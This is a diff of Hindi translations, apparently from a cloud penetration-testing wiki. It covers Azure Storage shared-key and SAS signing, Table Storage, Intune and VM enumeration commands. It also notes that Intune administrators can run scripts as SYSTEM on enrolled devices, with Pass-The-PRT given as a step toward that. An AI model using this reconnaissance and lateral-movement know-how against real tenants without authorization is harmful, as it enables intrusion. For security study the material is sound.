> यह **डिफ़ॉल्ट रूप से `az` cli द्वारा उपयोग किया जाता है** ताकि अनुरोधों को प्रमाणित किया जा सके। इसे Entra ID प्रिंसिपल क्रेडेंशियल का उपयोग करने के लिए `--auth-mode login` पैरामीटर निर्दिष्ट करें। > यह **डिफ़ॉल्ट रूप से `az` cli द्वारा उपयोग किया जाता है** ताकि अनुरोधों को प्रमाणित किया जा सके। इसे Entra ID प्रिंसिपल क्रेडेंशियल्स का उपयोग करने के लिए `--auth-mode login` पैरामीटर निर्दिष्ट करें।
- यह **ब्लॉब, कतार और फ़ाइल सेवाओं** के लिए एक साझा कुंजी उत्पन्न करना संभव है, निम्नलिखित जानकारी पर हस्ताक्षर करके: - यह **ब्लॉब, कतार और फ़ाइल सेवाओं** के लिए एक साझा कुंजी उत्पन्न करना संभव है, निम्नलिखित जानकारी पर हस्ताक्षर करके:
```bash ```bash
@@ -108,7 +108,7 @@ Range + "\n" +
CanonicalizedHeaders + CanonicalizedHeaders +
CanonicalizedResource; CanonicalizedResource;
``` ```
- यह **टेबल सेवाओं** के लिए एक साझा कुंजी उत्पन्न करना संभव है निम्नलिखित जानकारी पर हस्ताक्षर करके: - यह संभव है कि **table services** के लिए एक **shared key** उत्पन्न किया जाए निम्नलिखित जानकारी पर हस्ताक्षर करके:
```bash ```bash
StringToSign = VERB + "\n" + StringToSign = VERB + "\n" +
Content-MD5 + "\n" + Content-MD5 + "\n" +
@@ -125,12 +125,12 @@ Date + "\n" +
CanonicalizedHeaders + CanonicalizedHeaders +
CanonicalizedResource; CanonicalizedResource;
``` ```
- यह संभव है कि **टेबल सेवाओं के लिए एक लाइट साझा कुंजी** उत्पन्न की जाए निम्नलिखित जानकारी पर हस्ताक्षर करके: - यह संभव है कि **टेबल सेवाओं के लिए एक लाइट साझा कुंजी** उत्पन्न की जाए, निम्नलिखित जानकारी पर हस्ताक्षर करके:
```bash ```bash
StringToSign = Date + "\n" StringToSign = Date + "\n"
CanonicalizedResource CanonicalizedResource
``` ```
फिर, कुंजी का उपयोग करने के लिए, इसे अधिकृत हेडर में निम्नलिखित सिंटैक्स का पालन करते हुए किया जा सकता है: फिर, कुंजी का उपयोग करने के लिए, इसे Authorization हेडर में निम्नलिखित सिंटैक्स का पालन करते हुए किया जा सकता है:
```bash ```bash
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>" Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
#e.g. #e.g.
@@ -149,9 +149,9 @@ Shared Access Signatures (SAS) सुरक्षित, समय-सीमि
#### SAS प्रकार #### SAS प्रकार
- **User delegation SAS**: यह एक **Entra ID principal** से बनाया जाता है जो SAS पर हस्ताक्षर करेगा और उपयोगकर्ता से SAS को अनुमतियाँ सौंपेगा। इसका उपयोग केवल **blob और data lake storage** के साथ किया जा सकता है ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). सभी उत्पन्न उपयोगकर्ता प्रतिनिधि SAS को **रद्द** करना संभव है। - **User delegation SAS**: यह एक **Entra ID principal** से बनाया जाता है जो SAS पर हस्ताक्षर करेगा और उपयोगकर्ता से SAS को अनुमतियाँ सौंपेगा। इसका उपयोग केवल **blob और data lake storage** के साथ किया जा सकता है ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). सभी उत्पन्न उपयोगकर्ता प्रतिनिधि SAS को **रद्द** करना संभव है।
- भले ही "अधिक" अनुमतियों के साथ एक प्रतिनिधि SAS उत्पन्न करना संभव है जो उपयोगकर्ता के पास हैं। हालाँकि, यदि प्रमुख के पास वे नहीं हैं, तो यह काम नहीं करेगा (कोई प्रिवेस्क नहीं)। - भले ही "अधिक" अनुमतियों के साथ एक प्रतिनिधित्व SAS उत्पन्न करना संभव है जो उपयोगकर्ता के पास हैं। हालाँकि, यदि प्रमुख के पास वे नहीं हैं, तो यह काम नहीं करेगा (कोई प्रिवेस्क नहीं)।
- **Service SAS**: यह एक स्टोरेज खाता **access keys** में से एक का उपयोग करके हस्ताक्षरित होता है। इसका उपयोग एकल स्टोरेज सेवा में विशिष्ट संसाधनों तक पहुँच प्रदान करने के लिए किया जा सकता है। यदि कुंजी नवीनीकरण की जाती है, तो SAS काम करना बंद कर देगा। - **Service SAS**: यह एक स्टोरेज खाता **access keys** में से एक का उपयोग करके हस्ताक्षरित होता है। इसका उपयोग एकल स्टोरेज सेवा में विशिष्ट संसाधनों तक पहुँच प्रदान करने के लिए किया जा सकता है। यदि कुंजी नवीनीकरण की जाती है, तो SAS काम करना बंद कर देगा।
- **Account SAS**: यह भी एक स्टोरेज खाता **access keys** में से एक के साथ हस्ताक्षरित होता है। यह एक स्टोरेज खाता सेवाओं (Blob, Queue, Table, File) में संसाधनों तक पहुँच प्रदान करता है और इसमें सेवा-स्तरीय संचालन शामिल हो सकत है - **Account SAS**: यह भी एक स्टोरेज खाता **access keys** में से एक के साथ हस्ताक्षरित होता है। यह एक स्टोरेज खाता सेवाओं (Blob, Queue, Table, File) में संसाधनों तक पहुँच प्रदान करता है और सेवा-स्तरीय संचालन को शामिल कर सकत है।
एक SAS URL जो एक **access key** द्वारा हस्ताक्षरित होता है, ऐसा दिखता है: एक SAS URL जो एक **access key** द्वारा हस्ताक्षरित होता है, ऐसा दिखता है:
@@ -197,14 +197,14 @@ Azure Blob Storage अब SSH File Transfer Protocol (SFTP) का समर्
### अनुमतियाँ ### अनुमतियाँ
| अनुमति | प्रतीक | विवरण | | अनुमति | प्रतीक | विवरण |
| ---------------------- | ------ | ------------------------------------ | | ---------------------- | ------ | ------------------------------------ |
| **पढ़ें** | `r` | फ़ाइल सामग्री पढ़ें। | | **पढ़ें** | `r` | फ़ाइल सामग्री पढ़ें। |
| **लिखें** | `w` | फ़ाइलें अपलोड करें और निर्देशिकाएँ बनाएं। | | **लिखें** | `w` | फ़ाइलें अपलोड करें और निर्देशिकाएँ बनाएं। |
| **सूची** | `l` | निर्देशिकाओं की सामग्री सूचीबद्ध करें। | | **सूची** | `l` | निर्देशिकाओं की सामग्री सूचीबद्ध करें। |
| **हटाएँ** | `d` | फ़ाइलें या निर्देशिकाएँ हटाएँ। | | **हटाएँ** | `d` | फ़ाइलें या निर्देशिकाएँ हटाएँ। |
| **बनाएँ** | `c` | फ़ाइलें या निर्देशिकाएँ बनाएं। | | **बनाएँ** | `c` | फ़ाइलें या निर्देशिकाएँ बनाएं। |
| **स्वामित्व संशोधित करें** | `o` | स्वामित्व उपयोगकर्ता या समूह बदलें। | | **स्वामित्व संशोधित करें** | `o` | स्वामित्व उपयोगकर्ता या समूह बदलें। |
| **अनुमतियाँ संशोधित करें** | `p` | फ़ाइलों या निर्देशिकाओं पर ACLs बदलें। | | **अनुमतियाँ संशोधित करें** | `p` | फ़ाइलों या निर्देशिकाओं पर ACLs बदलें। |
## Enumeration ## Enumeration
@@ -330,7 +330,7 @@ az storage account local-user list \
{{#endtab }} {{#endtab }}
{{#tab name="Az PowerShell" }} {{#tab name="Az PowerShell" }}
```powershell ```bash
# Get storage accounts # Get storage accounts
Get-AzStorageAccount | fl Get-AzStorageAccount | fl
# Get rules to access the storage account # Get rules to access the storage account
@@ -402,7 +402,7 @@ az-file-shares.md
../az-privilege-escalation/az-storage-privesc.md ../az-privilege-escalation/az-storage-privesc.md
{{#endref}} {{#endref}}
## पोस्ट एक्सप्लइटेशन ## पोस्ट एक्सप्लइटेशन
{{#ref}} {{#ref}}
../az-post-exploitation/az-blob-storage-post-exploitation.md ../az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -4,26 +4,26 @@
## Basic Information ## Basic Information
**Azure Table Storage** एक NoSQL की-वैल्यू स्टोर है जिसे बड़े पैमाने पर संरचित, गैर-संबंधित डेटा को संग्रहीत करने के लिए डिज़ाइन किया गया है। यह उच्च उपलब्धता, कम विलंबता, और बड़े डेटा सेट को कुशलतापूर्वक संभालने के लिए स्केलेबिलिटी प्रदान करता है। डेटा को तालिकाओं में व्यवस्थित किया जाता है, प्रत्येक इकाई को एक विभाजन कुंजी और पंक्ति कुंजी द्वारा पहचाना जाता है, जिससे तेज़ लुकअप संभव होता है। यह विश्राम में एन्क्रिप्शन, भूमिका-आधारित पहुँच नियंत्रण, और सुरक्षित, प्रबंधित संग्रहण के लिए साझा पहुँच हस्ताक्षर जैसी सुविधाओं का समर्थन करता है, जो विभिन्न प्रकार के अनुप्रयोगों के लिए उपयुक्त है। **Azure Table Storage** एक NoSQL की-वैल्यू स्टोर है जिसे बड़े पैमाने पर संरचित, गैर-संबंधित डेटा को स्टोर करने के लिए डिज़ाइन किया गया है। यह उच्च उपलब्धता, कम विलंबता, और बड़े डेटा सेट को कुशलतापूर्वक संभालने के लिए स्केलेबिलिटी प्रदान करता है। डेटा को तालिकाओं में व्यवस्थित किया जाता है, प्रत्येक इकाई को एक विभाजन कुंजी और पंक्ति कुंजी द्वारा पहचाना जाता है, जिससे तेज़ लुकअप संभव होता है। यह डेटा को सुरक्षित, प्रबंधित स्टोरेज के लिए एन्क्रिप्शन एट रेस्ट, भूमिका-आधारित एक्सेस कंट्रोल, और साझा एक्सेस सिग्नेचर जैसी सुविधाओं का समर्थन करता है, जो विभिन्न प्रकार के अनुप्रयोगों के लिए उपयुक्त है।
तालिका संग्रहण के लिए **कोई अंतर्निहित बैकअप तंत्र नहीं है** तालिका स्टोरेज के लिए **कोई अंतर्निहित बैकअप तंत्र नहीं है**
### Keys ### Keys
#### **PartitionKey** #### **PartitionKey**
- **PartitionKey इकाइयों को तार्किक विभाजनों में समूहित करता है**। समान PartitionKey वाली इकाइयाँ एक साथ संग्रहीत होती हैं, जिससे क्वेरी प्रदर्शन और स्केलेबिलिटी में सुधार होता है। - **PartitionKey इकाइयों को तार्किक विभाजनों में समूहित करता है**। समान PartitionKey वाली इकाइयाँ एक साथ स्टोर की जाती हैं, जिससे क्वेरी प्रदर्शन और स्केलेबिलिटी में सुधार होता है।
- उदाहरण: एक तालिका में कर्मचारी डेटा संग्रहीत करते समय, `PartitionKey` एक विभाग का प्रतिनिधित्व कर सकता है, जैसे, `"HR"` या `"IT"` - उदाहरण: एक तालिका में कर्मचारी डेटा स्टोर करते समय, `PartitionKey` एक विभाग का प्रतिनिधित्व कर सकता है, जैसे, `"HR"` या `"IT"`
#### **RowKey** #### **RowKey**
- **RowKey एक विभाजन के भीतर एक इकाई के लिए अद्वितीय पहचानकर्ता है**। जब इसे PartitionKey के साथ जोड़ा जाता है, तो यह सुनिश्चित करता है कि तालिका में प्रत्येक इकाई का एक वैश्विक अद्वितीय पहचानकर्ता हो। - **RowKey एक विभाजन के भीतर एक इकाई के लिए अद्वितीय पहचानकर्ता है**। जब इसे PartitionKey के साथ मिलाया जाता है, तो यह सुनिश्चित करता है कि तालिका में प्रत्येक इकाई का एक वैश्विक अद्वितीय पहचानकर्ता हो।
- उदाहरण: `"HR"` विभाजन के लिए, `RowKey` एक कर्मचारी आईडी हो सकता है, जैसे, `"12345"` - उदाहरण: `"HR"` विभाजन के लिए, `RowKey` एक कर्मचारी आईडी हो सकता है, जैसे, `"12345"`
#### **Other Properties (Custom Properties)** #### **Other Properties (Custom Properties)**
- PartitionKey और RowKey के अलावा, एक इकाई में डेटा संग्रहीत करने के लिए अतिरिक्त **कस्टम प्रॉपर्टीज़ हो सकती हैं**। ये उपयोगकर्ता-परिभाषित होती हैं और पारंपरिक डेटाबेस में कॉलम की तरह कार्य करती हैं। - PartitionKey और RowKey के अलावा, एक इकाई में डेटा स्टोर करने के लिए अतिरिक्त **कस्टम प्रॉपर्टीज़ हो सकती हैं**। ये उपयोगकर्ता-परिभाषित होती हैं और पारंपरिक डेटाबेस में कॉलम की तरह कार्य करती हैं।
- प्रॉपर्टीज़ को **की-वैल्यू जोड़ों** के रूप में संग्रहीत किया जाता है। - प्रॉपर्टीज़ को **की-वैल्यू पेयर्स** के रूप में स्टोर किया जाता है।
- उदाहरण: `Name`, `Age`, `Title` एक कर्मचारी के लिए कस्टम प्रॉपर्टीज़ हो सकती हैं। - उदाहरण: `Name`, `Age`, `Title` एक कर्मचारी के लिए कस्टम प्रॉपर्टीज़ हो सकती हैं।
## Enumeration ## Enumeration
@@ -63,7 +63,7 @@ az storage entity merge \
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="PowerShell"}} {{#tab name="PowerShell"}}
```powershell ```bash
# Get storage accounts # Get storage accounts
Get-AzStorageAccount Get-AzStorageAccount
@@ -4,13 +4,13 @@
## Basic Information ## Basic Information
Microsoft Intune को **ऐप और डिवाइस प्रबंधन** की प्रक्रिया को सरल बनाने के लिए डिज़ाइन किया गया है। इसकी क्षमताएँ मोबाइल डिवाइस, डेस्कटॉप कंप्यूटर और वर्चुअल एंडपॉइंट्स सहित विभिन्न प्रकार के डिवाइसों में फैली हुई हैं। Intune की मुख्य कार्यक्षमता **उपयोगकर्ता पहुंच प्रबंधन और संगठन के नेटवर्क के भीतर ऐप्लिकेशनों** और डिवाइसों के प्रशासन को सरल बनाने के चारों ओर घूमती है। Microsoft Intune को **ऐप और डिवाइस प्रबंधन** की प्रक्रिया को सरल बनाने के लिए डिज़ाइन किया गया है। इसकी क्षमताएँ मोबाइल डिवाइस, डेस्कटॉप कंप्यूटर और वर्चुअल एंडपॉइंट्स सहित विभिन्न प्रकार के डिवाइसों में फैली हुई हैं। Intune की मुख्य कार्यक्षमता **उपयोगकर्ता पहुंच का प्रबंधन और संगठन के नेटवर्क के भीतर ऐप्लिकेशनों** और डिवाइसों के प्रशासन को सरल बनान है।
## Cloud -> On-Prem ## Cloud -> On-Prem
एक उपयोगकर्ता जिसके पास **Global Administrator** या **Intune Administrator** भूमिका है, वह किसी भी **enrolled Windows** डिवाइस पर **PowerShell** स्क्रिप्ट चला सकता है।\ एक उपयोगकर्ता जिसके पास **Global Administrator** या **Intune Administrator** भूमिका है, वह किसी भी **enrolled Windows** डिवाइस पर **PowerShell** स्क्रिप्ट चला सकता है।\
**स्क्रिप्ट** केवल एक बार **SYSTEM** के **privileges** के साथ डिवाइस पर चलती है यदि यह नहीं बदलती है, और Intune से **स्क्रिप्ट का आउटपुट देखना संभव नहीं है** **स्क्रिप्ट** केवल एक बार **SYSTEM** के **privileges** के साथ डिवाइस पर चलती है यदि यह नहीं बदलती है, और Intune से **स्क्रिप्ट का आउटपुट देखना संभव नहीं है**
```powershell ```bash
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'" Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
``` ```
1. [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) में लॉगिन करें या Pass-The-PRT का उपयोग करें 1. [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) में लॉगिन करें या Pass-The-PRT का उपयोग करें
@@ -4,7 +4,7 @@
## Azure नेटवर्किंग बुनियादी जानकारी ## Azure नेटवर्किंग बुनियादी जानकारी
Azure नेटवर्क में **विभिन्न संस्थाएँ और इसे कॉन्फ़िगर करने के तरीके** शामिल हैं। आप विभिन्न Azure नेटवर्क संस्थाओं के लिए संक्षिप्त **विवरण,** **उदाहरण** और **गणना** कमांड पा सकते हैं: Azure नेटवर्क में **विभिन्न संस्थाएँ और इसे कॉन्फ़िगर करने के तरीके शामिल हैं।** आप विभिन्न Azure नेटवर्क संस्थाओं के लिए संक्षिप्त **विवरण,** **उदाहरण** और **गणना** कमांड पा सकते हैं:
{{#ref}} {{#ref}}
az-azure-network.md az-azure-network.md
@@ -12,7 +12,7 @@ az-azure-network.md
## VMs बुनियादी जानकारी ## VMs बुनियादी जानकारी
Azure वर्चुअल मशीनें (VMs) लचीली, मांग पर **क्लाउड-आधारित सर्वर हैं जो आपको Windows या Linux ऑपरेटिंग सिस्टम चलाने की अनुमति देती हैं** ये आपको भौतिक हार्डवेयर प्रबंधित किए बिना अनुप्रयोगों और कार्यभार को तैनात करने की अनुमति देती हैं। Azure VMs को विभिन्न CPU, मेमोरी और स्टोरेज विकल्पों के साथ कॉन्फ़िगर किया जा सकता है ताकि विशिष्ट आवश्यकताओं को पूरा किया जा सके और Azure सेवाओं जैसे वर्चुअल नेटवर्क, स्टोरेज और सुरक्षा उपकरणों के साथ एकीकृत किया जा सके। Azure वर्चुअल मशीनें (VMs) लचीली, ऑन-डिमांड **क्लाउड-आधारित सर्वर हैं जो आपको Windows या Linux ऑपरेटिंग सिस्टम चलाने की अनुमति देती हैं** ये आपको भौतिक हार्डवेयर प्रबंधित किए बिना अनुप्रयोगों और कार्यभार को तैनात करने की अनुमति देती हैं। Azure VMs को विभिन्न CPU, मेमोरी और स्टोरेज विकल्पों के साथ कॉन्फ़िगर किया जा सकता है ताकि विशिष्ट आवश्यकताओं को पूरा किया जा सके और Azure सेवाओं जैसे वर्चुअल नेटवर्क, स्टोरेज और सुरक्षा उपकरणों के साथ एकीकृत किया जा सके।
### सुरक्षा कॉन्फ़िगरेशन ### सुरक्षा कॉन्फ़िगरेशन
@@ -20,10 +20,10 @@ Azure वर्चुअल मशीनें (VMs) लचीली, मां
- **सुरक्षा प्रकार**: - **सुरक्षा प्रकार**:
- **मानक सुरक्षा**: यह डिफ़ॉल्ट सुरक्षा प्रकार है जिसे किसी विशेष कॉन्फ़िगरेशन की आवश्यकता नहीं होती है। - **मानक सुरक्षा**: यह डिफ़ॉल्ट सुरक्षा प्रकार है जिसे किसी विशेष कॉन्फ़िगरेशन की आवश्यकता नहीं होती है।
- **विश्वसनीय लॉन्च**: यह सुरक्षा प्रकार बूट किट और कर्नेल-स्तरीय मैलवेयर के खिलाफ सुरक्षा को बढ़ाता है, जिसमें सुरक्षित बूट और वर्चुअल ट्रस्टेड प्लेटफ़ॉर्म मॉड्यूल (vTPM) का उपयोग किया जाता है। - **विश्वसनीय लॉन्च**: यह सुरक्षा प्रकार बूट किट और कर्नेल-स्तरीय मैलवेयर के खिलाफ सुरक्षा को बढ़ाता है, जिसमें सुरक्षित बूट और वर्चुअल ट्रस्टेड प्लेटफ़ॉर्म मॉड्यूल (vTPM) का उपयोग किया जाता है।
- **गोपनीय VMs**: एक विश्वसनीय लॉन्च के शीर्ष पर, यह VM, हाइपरवाइज़र और होस्ट प्रबंधन के बीच हार्डवेयर-आधारित पृथक्करण प्रदान करता है, डिस्क एन्क्रिप्शन में सुधार करता है और [**अधिक**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**।** - **गोपनीय VMs**: एक विश्वसनीय लॉन्च के शीर्ष पर, यह VM, हाइपरवाइज़र और होस्ट प्रबंधन के बीच हार्डवेयर-आधारित अलगाव प्रदान करता है, डिस्क एन्क्रिप्शन में सुधार करता है और [**अधिक**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**।**
- **प्रमाणीकरण**: डिफ़ॉल्ट रूप से एक नया **SSH कुंजी उत्पन्न किया जाता है**, हालाकि एक सार्वजनिक कुंजी का उपयोग करना या पिछले कुंजी का उपयोग करना संभव है और डिफ़ॉल्ट उपयोगकर्ता नाम **azureuser** है। एक **पासवर्ड** का उपयोग करने के लिए कॉन्फ़िगर करना भी संभव है। - **प्रमाणीकरण**: डिफ़ॉल्ट रूप से एक नया **SSH कुंजी उत्पन्न किया जाता है**, हालाकि एक सार्वजनिक कुंजी का उपयोग करना या पिछले कुंजी का उपयोग करना संभव है और डिफ़ॉल्ट उपयोगकर्ता नाम **azureuser** है। एक **पासवर्ड** का उपयोग करने के लिए कॉन्फ़िगर करना भी संभव है।
- **VM डिस्क एन्क्रिप्शन:** डिस्क डिफ़ॉल्ट रूप से एक प्लेटफ़ॉर्म प्रबंधित कुंजी का उपयोग करके आराम में एन्क्रिप्ट की जाती है। - **VM डिस्क एन्क्रिप्शन:** डिस्क डिफ़ॉल्ट रूप से एक प्लेटफ़ॉर्म प्रबंधित कुंजी का उपयोग करके आराम में एन्क्रिप्ट की जाती है।
- **होस्ट पर एन्क्रिप्शन** सक्षम करना भी संभव है, जहा डेटा को स्टोरेज सेवा में भेजने से पहले होस्ट में एन्क्रिप्ट किया जाएगा, होस्ट और स्टोरेज सेवा के बीच एंड-टू-एंड एन्क्रिप्शन सुनिश्चित करता है ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). - **होस्ट पर एन्क्रिप्शन** सक्षम करना भी संभव है, जहा डेटा को स्टोरेज सेवा में भेजने से पहले होस्ट में एन्क्रिप्ट किया जाएगा, जिससे होस्ट और स्टोरेज सेवा के बीच एंड-टू-एंड एन्क्रिप्शन सुनिश्चित होता है ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **NIC नेटवर्क सुरक्षा समूह**: - **NIC नेटवर्क सुरक्षा समूह**:
- **कोई नहीं**: मूल रूप से हर पोर्ट खोलता है - **कोई नहीं**: मूल रूप से हर पोर्ट खोलता है
- **बुनियादी**: HTTP (80), HTTPS (443), SSH (22), RDP (3389) इनबाउंड पोर्ट को आसानी से खोलने की अनुमति देता है - **बुनियादी**: HTTP (80), HTTPS (443), SSH (22), RDP (3389) इनबाउंड पोर्ट को आसानी से खोलने की अनुमति देता है
@@ -48,7 +48,7 @@ Azure वर्चुअल मशीनें (VMs) लचीली, मां
- **2 या अधिक VMs से डिस्क को संलग्न करने के लिए सक्षम करना संभव है** - **2 या अधिक VMs से डिस्क को संलग्न करने के लिए सक्षम करना संभव है**
- डिफ़ॉल्ट रूप से हर डिस्क **एन्क्रिप्टेड** होती है एक प्लेटफ़ॉर्म कुंजी के साथ। - डिफ़ॉल्ट रूप से हर डिस्क **एन्क्रिप्टेड** होती है एक प्लेटफ़ॉर्म कुंजी के साथ।
- स्नैपशॉट में भी यही - स्नैपशॉट में भी यही
- डिफ़ॉल्ट रूप से यह **सभी नेटवर्क से डिस्क साझा करने** की अनुमति देता है, लेकिन इसे केवल कुछ **निजी पहु** तक **सीमित** किया जा सकता है या **सार्वजनिक और निजी पहु** को पूरी तरह से **निष्क्रिय** किया जा सकता है। - डिफ़ॉल्ट रूप से यह **सभी नेटवर्क से डिस्क साझा करने** की अनुमति देता है, लेकिन इसे केवल कुछ **निजी पहु** तक **सीमित** किया जा सकता है या **सार्वजनिक और निजी पहु** को पूरी तरह से **निष्क्रिय** किया जा सकता है।
- स्नैपशॉट में भी यही - स्नैपशॉट में भी यही
- **डिस्क को निर्यात करने के लिए एक SAS URI** (अधिकतम 60 दिनों के लिए) **जनरेट करना संभव है**, जिसे प्रमाणीकरण की आवश्यकता हो सकती है या नहीं - **डिस्क को निर्यात करने के लिए एक SAS URI** (अधिकतम 60 दिनों के लिए) **जनरेट करना संभव है**, जिसे प्रमाणीकरण की आवश्यकता हो सकती है या नहीं
- स्नैपशॉट में भी यही - स्नैपशॉट में भी यही
@@ -64,7 +64,7 @@ az disk show --name <disk-name> --resource-group <rsc-group>
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="PowerShell"}} {{#tab name="PowerShell"}}
```powershell ```bash
# List all disks # List all disks
Get-AzDisk Get-AzDisk
@@ -79,7 +79,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
एक **VM छवि** एक टेम्पलेट है जिसमें ऑपरेटिंग सिस्टम, एप्लिकेशन सेटिंग्स और फ़ाइल सिस्टम शामिल होते हैं जो **एक नया वर्चुअल मशीन (VM)** बनाने के लिए आवश्यक होते हैं। एक छवि और एक डिस्क स्नैपशॉट के बीच का अंतर यह है कि एक डिस्क स्नैपशॉट एक पढ़ने के लिए केवल, समय-निर्धारित प्रति होती है जो एकल प्रबंधित डिस्क की होती है, जिसका उपयोग मुख्य रूप से बैकअप या समस्या निवारण के लिए किया जाता है, जबकि एक छवि **कई डिस्क शामिल कर सकती है और इसे नए VMs बनाने के लिए टेम्पलेट के रूप में सेवा देने के लिए डिज़ाइन किया गया है**।\ एक **VM छवि** एक टेम्पलेट है जिसमें ऑपरेटिंग सिस्टम, एप्लिकेशन सेटिंग्स और फ़ाइल सिस्टम शामिल होते हैं जो **एक नया वर्चुअल मशीन (VM)** बनाने के लिए आवश्यक होते हैं। एक छवि और एक डिस्क स्नैपशॉट के बीच का अंतर यह है कि एक डिस्क स्नैपशॉट एक पढ़ने के लिए केवल, समय-निर्धारित प्रति होती है जो एकल प्रबंधित डिस्क की होती है, जिसका उपयोग मुख्य रूप से बैकअप या समस्या निवारण के लिए किया जाता है, जबकि एक छवि **कई डिस्क शामिल कर सकती है और इसे नए VMs बनाने के लिए टेम्पलेट के रूप में सेवा देने के लिए डिज़ाइन किया गया है**।\
छवियों का प्रबंधन **Azure के चित्र अनुभाग** में या **Azure कंप्यूट गैलरी** के अंदर किया जा सकता है, जो **संस्करण** उत्पन्न करने और छवि को क्रॉस-टेनेंट साझा करने या यहां तक कि इसे सार्वजनिक बनाने की अनुमति देता है। छवियों का प्रबंधन **Azure के चित्र अनुभाग** में या **Azure कंप्यूट गैलरी** के अंदर किया जा सकता है, जो **संस्करण** उत्पन्न करने और छवि को क्रॉस-टेनेंट साझा करने या यहां तक कि इसे सार्वजनिक बनाने की अनुमति देता है।
एक **पुनर्स्थापना बिंदु** VM कॉन्फ़िगरेशन और **समय-निर्धारित** एप्लिकेशन-संगत **स्नैपशॉट्स** को संग्रहीत करता है जो VM से जुड़े सभी प्रबंधित डिस्क के होते हैं। यह VM से संबंधित है और इसका उद्देश्य उस विशेष समय पर उस VM को पुनर्स्थापित करने में सक्षम होना है। एक **पुनर्स्थापना बिंदु** VM कॉन्फ़िगरेशन और **समय-निर्धारित** एप्लिकेशन-संगत **स्नैपशॉट्स** को संग्रहीत करता है जो VM से जुड़े सभी प्रबंधित डिस्क के होते हैं। यह VM से संबंधित है और इसका उद्देश्य उस विशेष समय में उस VM को पुनर्स्थापित करने में सक्षम होना है।
{{#tabs}} {{#tabs}}
{{#tab name="az cli"}} {{#tab name="az cli"}}
@@ -116,7 +116,7 @@ az restore-point collection show --collection-name <collection-name> --resource-
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="PowerShell"}} {{#tab name="PowerShell"}}
```powershell ```bash
## List all galleries and get info about one ## List all galleries and get info about one
Get-AzGallery Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName> Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
@@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery ## Azure Site Recovery
[**दस्तावेज़ों**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) से: साइट रिकवरी यह सुनिश्चित करने में मदद करती है कि व्यावसायिक निरंतरता बनी रहे, जिससे व्यावसायिक ऐप्स और कार्यभार आउटेज के दौरान चलते रहें। साइट रिकवरी **कार्यभार को** प्राथमिक साइट से द्वितीयक स्थान पर चलने वाले भौतिक और आभासी मशीनों (VMs) पर **प्रतिलिपि बनाती है**। जब आपके प्राथमिक स्थान पर आउटेज होता है, तो आप द्वितीयक स्थान पर स्विच करते हैं, और वहां से ऐप्स तक पहुंचते हैं। जब प्राथमिक स्थान फिर से चलने लगता है, तो आप वहां वापस जा सकते हैं। [**दस्तावेज़ों**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) से: साइट रिकवरी यह सुनिश्चित करने में मदद करती है कि व्यावसायिक अनुप्रयोग और कार्यभार आउटेज के दौरान चलते रहें। साइट रिकवरी **कार्यभार को** प्राथमिक साइट से द्वितीयक स्थान पर चलने वाले भौतिक और आभासी मशीनों (VMs) पर **प्रतिलिपि** करती है। जब आपके प्राथमिक साइट पर आउटेज होता है, तो आप द्वितीयक स्थान पर स्विच करते हैं, और वहां से अनुप्रयोगों तक पहुंचते हैं। जब प्राथमिक स्थान फिर से चलने लगता है, तो आप वहां वापस जा सकते हैं।
## Azure Bastion ## Azure Bastion
Azure Bastion सुरक्षित और निर्बाध **रिमोट डेस्कटॉप प्रोटोकॉल (RDP)** और **सिक्योर शेल (SSH)** एक्सेस को सीधे Azure पोर्टल के माध्यम से या एक जंप बॉक्स के माध्यम से आपके आभासी मशीनों (VMs) के लिए सक्षम करता है। यह आपके VMs पर सार्वजनिक IP पते की आवश्यकता को **हटाकर** Azure Bastion आपके आभासी मशीनों (VMs) के लिए सुरक्षित और निर्बाध **रिमोट डेस्कटॉप प्रोटोकॉल (RDP)** और **सिक्योर शेल (SSH)** एक्सेस को सीधे Azure पोर्टल के माध्यम से या एक जंप बॉक्स के माध्यम से सक्षम करता है। यह आपके VMs पर सार्वजनिक IP पते की आवश्यकता को **हटाकर**
Bastion एक उपनेट को **`AzureBastionSubnet`** के रूप में तैनात करता है जिसमें VNet में काम करने के लिए `/26` नेटमास्क होता है। फिर, यह **ब्राउज़र के माध्यम से आंतरिक VMs से कनेक्ट करने** की अनुमति देता है, `RDP` और `SSH` का उपयोग करके, VMs के पोर्ट्स को इंटरनेट पर उजागर किए बिना। यह एक **जंप होस्ट** के रूप में भी काम कर सकता है। Bastion एक उपनेट को **`AzureBastionSubnet`** के रूप में तैनात करता है जिसमें VNet पर काम करने के लिए `/26` नेटमास्क होता है। फिर, यह **ब्राउज़र के माध्यम से आंतरिक VMs से कनेक्ट करने** की अनुमति देता है, `RDP` और `SSH` का उपयोग करके, VMs के पोर्ट्स को इंटरनेट पर उजागर किए बिना। यह एक **जंप होस्ट** के रूप में भी काम कर सकता है।
